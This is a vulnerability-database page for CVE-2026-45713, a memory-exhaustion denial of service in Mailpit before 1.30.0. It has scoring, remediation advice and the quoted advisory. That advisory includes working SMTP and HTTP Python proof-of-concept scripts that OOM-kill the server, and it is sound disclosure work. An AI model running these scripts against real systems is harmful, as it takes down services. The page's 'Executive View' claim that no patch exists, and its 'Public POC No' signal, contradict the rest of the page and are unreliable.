Skip to main content

Mailpit EUVDEUVD-2026-45972

| CVE-2026-45713 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-05-19 https://github.com/axllent/mailpit GHSA-fpxj-m5q8-fphw
7.5
CVSS 3.1 · Vendor: https://github.com/axllent/mailpit
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Discover exposed Mailpit port 1025 or 8025
  2. Delivery
    Open TCP connection without credentials
  3. Exploit
    Send SMTP DATA or POST /api/v1/send with oversized body
  4. Execution
    Trigger unbounded slice growth and enmime/index/zstd amplification
  5. Persist
    Repeat across concurrent connections
  6. Impact
    OOM-kill Mailpit process and deny mail-capture service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires only TCP reachability to either the default SMTP listener on port 1025 or the default HTTP API listener on port 8025 of a Mailpit instance running a version below 1.30.0; no authentication, no user interaction, no special configuration, and no non-default deployment mode are needed because the missing size limit is present in the shipped default build (CVSS PR:N/UI:N/AC:L). The practical limit on exploitation is network reachability: Mailpit is typically deployed as a development/testing mail sink and is often bound to localhost, behind a Docker bridge, or inside a private LAN, so internet-exposed instances are the realistic target set. A secondary practical condition is that the attacker needs enough bandwidth to push tens to hundreds of MiB per connection to achieve OOM on hosts with substantial RAM, though concurrent connections lower the per-connection bandwidth requirement.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (base 7.5) accurately reflects a network-reachable, low-complexity, no-privileges, no-interaction, availability-only impact, and the description's claim of pre-auth exploitation on default listeners is consistent with PR:N. The advisory ships working SMTP and HTTP PoCs with measured before/after RSS, so publicly available exploit code exists; there is, however, no CISA KEV entry, no EPSS score, and no SSVC decision data provided in this input, so claims of active exploitation cannot be made. Real-world exposure depends heavily on deployment posture: Mailpit is a developer/testing tool typically run on localhost or inside a private network, which limits internet-facing blast radius, but any instance bound to [::] on a shared network, exposed via container port-forwarding, or reached from a compromised internal host is fully exploitable. The amplification factor (~7-10×) and the ability to fan out across concurrent connections make this an efficient DoS primitive, but impact is bounded to availability - there is no confidentiality or integrity loss.

Exploit ScenarioDerived

An attacker with network reachability to a Mailpit instance opens TCP 1025, completes a minimal SMTP envelope (HELO/MAIL FROM/RCPT TO/DATA), and streams a multi-hundred-megabyte body of repeated bytes before the terminating \r\n.\r\n; the server appends the entire payload into a single byte slice, then parses, indexes, and zstd-encodes it, multiplying RSS by roughly 7-10×. Repeating the request across a handful of concurrent connections - or pivoting to POST /api/v1/send on port 8025 with a large JSON Text field - drives the process past available RAM and triggers an OOM-kill, with working SMTP and HTTP PoC scripts already published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Unauthenticated remote denial-of-service in Mailpit versions prior to 1.30.0 allows network-reachable attackers to exhaust memory and disk by submitting arbitrarily large messages through the SMTP listener on port 1025 or the HTTP /api/v1/send endpoint on port 8025. The Server.MaxSize field exists but is never populated in production code, and the JSON decoder lacks http.MaxBytesReader, so a single connection delivering a 100 MiB DATA payload inflates RSS roughly tenfold (≈25 MiB → ≈1 GiB), and concurrent connections drive the process to OOM-kill. Publicly available exploit code exists (working SMTP and HTTP PoCs are included in the GHSA advisory), though no CISA KEV listing or EPSS score was supplied with this input.

RemediationAI

Vendor-released patch: upgrade to Mailpit 1.30.0 or later, which introduces a default 50 MB per-message limit for both SMTP DATA and /api/v1/send and exposes configuration to tune or disable it (see https://github.com/axllent/mailpit/releases/tag/v1.30.0 and the advisory at https://github.com/axllent/mailpit/security/advisories/GHSA-fpxj-m5q8-fphw). If immediate upgrade is not possible, bind Mailpit to 127.0.0.1 instead of [::] so the SMTP (1025) and HTTP (8025) ports are not reachable from other hosts, accepting that this breaks any legitimate remote SMTP test traffic; alternatively, place Mailpit behind a reverse proxy or firewall that enforces a body-size cap on inbound connections to both ports (with the trade-off that proxies typically do not inspect SMTP DATA boundaries, so an SMTP-aware relay or a per-connection byte limit at the network layer is preferable). Apply per-process memory limits via systemd (MemoryMax=) or container cgroup limits to convert an OOM-kill on the host into a contained restart, and constrain the SQLite data directory to a dedicated filesystem with a quota to bound the secondary disk-exhaustion vector.

Affected VersionsENISA

mailpit < 1.30.0

Affected Packages

go github.com/axllent/mailpit fix: 1.30.0
euvd mailpit fix: 1.30.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Mailpit is a Go-based developer email and SMTP testing tool from axllent that bundles an SMTP server, a REST API, and a SQLite-backed message store. The root cause is CWE-400 (Uncontrolled Resource Consumption): in internal/smtpd/smtpd.go the DATA-reading loop only enforces a size limit when s.srv.MaxSize > 0, but cmd/ and config/ never assign that field - there is no CLI flag and no MP_SMTP_MAX_MESSAGE_SIZE env var - so it stays at Go's zero value and the slice append grows without bound. The HTTP path in server/apiv1/send.go has the parallel defect, calling json.NewDecoder(r.Body).Decode without wrapping the body in http.MaxBytesReader; the 30 s ReadTimeout is a transmission-time limit, not a byte budget. Once accepted, each message is parsed into an enmime envelope tree, indexed for search, and zstd-encoded into SQLite, producing a roughly 7-10× memory amplification, and the config.MaxMessages cap of 500 limits message count but not aggregate bytes, so disk usage can also grow into the hundreds of gigabytes. CPE pkg:go/github.com_axllent_mailpit identifies the affected Go module.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/axllent/mailpit) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/axllent/mailpit).

CVSS VectorVendor: https://github.com/axllent/mailpit

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack - or running it concurrently from multiple connections - drives the process to OOM-kill.

Details

Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes - so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).

Affected code internal/smtpd/smtpd.go:107 - the field exists:

type Server struct {
    ...
    MaxSize int // Maximum message size allowed, in bytes
    ...
}

internal/smtpd/smtpd.go:863-877 - the enforcement is gated on > 0:

for {
    ...
    line, err := s.br.ReadBytes('\n')
    if err != nil {
        return nil, err
    }
    if bytes.Equal(line, []byte(".\r\n")) {
        break
    }
    if line[0] == '.' {
        line = line[1:]
    }

    if s.srv.MaxSize > 0 {                                   // ← only when set
        if len(data)+len(line) > s.srv.MaxSize {
            _, _ = s.br.Discard(s.br.Buffered())
            return nil, maxSizeExceeded(s.srv.MaxSize)
        }
    }
    data = append(data, line...)                             // ← otherwise grows unbounded
}

internal/smtpd/main.go:223-248 - the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.

server/apiv1/send.go:45-52 - HTTP path has the same defect:

decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
    httpJSONError(w, err.Error())
    return
}

No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.

PoC

Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):

#!/usr/bin/env python3
# poc-smtp-dos.py
import socket, sys
host, port = sys.argv[1], int(sys.argv[2])
mb         = int(sys.argv[3])
# message size, MiB

s = socket.create_connection((host, port), timeout=120)
def r(): return s.recv(4096).decode("latin-1", "replace").strip()
print(r())
for cmd in [b"HELO x\r\n",
            b"MAIL FROM:<a@b.com>\r\n",
            b"RCPT TO:<c@d.com>\r\n",
            b"DATA\r\n"]:
    s.sendall(cmd); print(r())
s.sendall(b"Subject: oversize\r\n\r\n")
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(b"\r\n.\r\n")
print(r()); s.close()
$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj

$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
1062848
# ≈ 1 037 MiB, up from 25 MiB baseline

Equivalent over HTTP:

# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"'
suffix = b'"}'
N      = mb * 1024 * 1024
clen   = len(prefix) + N + len(suffix)

s = socket.create_connection((host, port), timeout=120)
s.sendall(
    b"POST /api/v1/send HTTP/1.1\r\n"
    b"Host: x\r\n"
    b"Content-Type: application/json\r\n"
    b"Content-Length: " + str(clen).encode() + b"\r\n"
    b"Connection: close\r\n\r\n")
s.sendall(prefix)
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(suffix)
print(s.recv(500).decode("latin-1", "replace"))
$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000
# comfortably above 2 GiB on the same process

Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.

Impact

Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)

Executive ViewAI

Why It Matters

Mailpit email server versions prior to 1.30.0 contain an unauthenticated remote denial-of-service vulnerability that allows network-based attackers to exhaust memory and crash the service without authentication. Publicly available exploit code exists, no vendor patch has been released, and any internet-exposed or untrusted-network-accessible instance is immediately at risk of service outage. Email delivery and testing infrastructure relying on affected Mailpit versions require urgent interim protection.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict SMTP (1025) and HTTP API (8025) access to allowlist of trusted networks only via firewall; (2) Implement rate-limiting and connection-per-IP limits at network boundary; (3) Deploy reverse proxy or WAF with maximum HTTP body size enforcement; (4) Configure OS-level memory limits and monitor for OOM conditions; (5) Maintain incident response runbook for service restart if exploited; (6) Disable Mailpit if non-critical pending patch availability.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy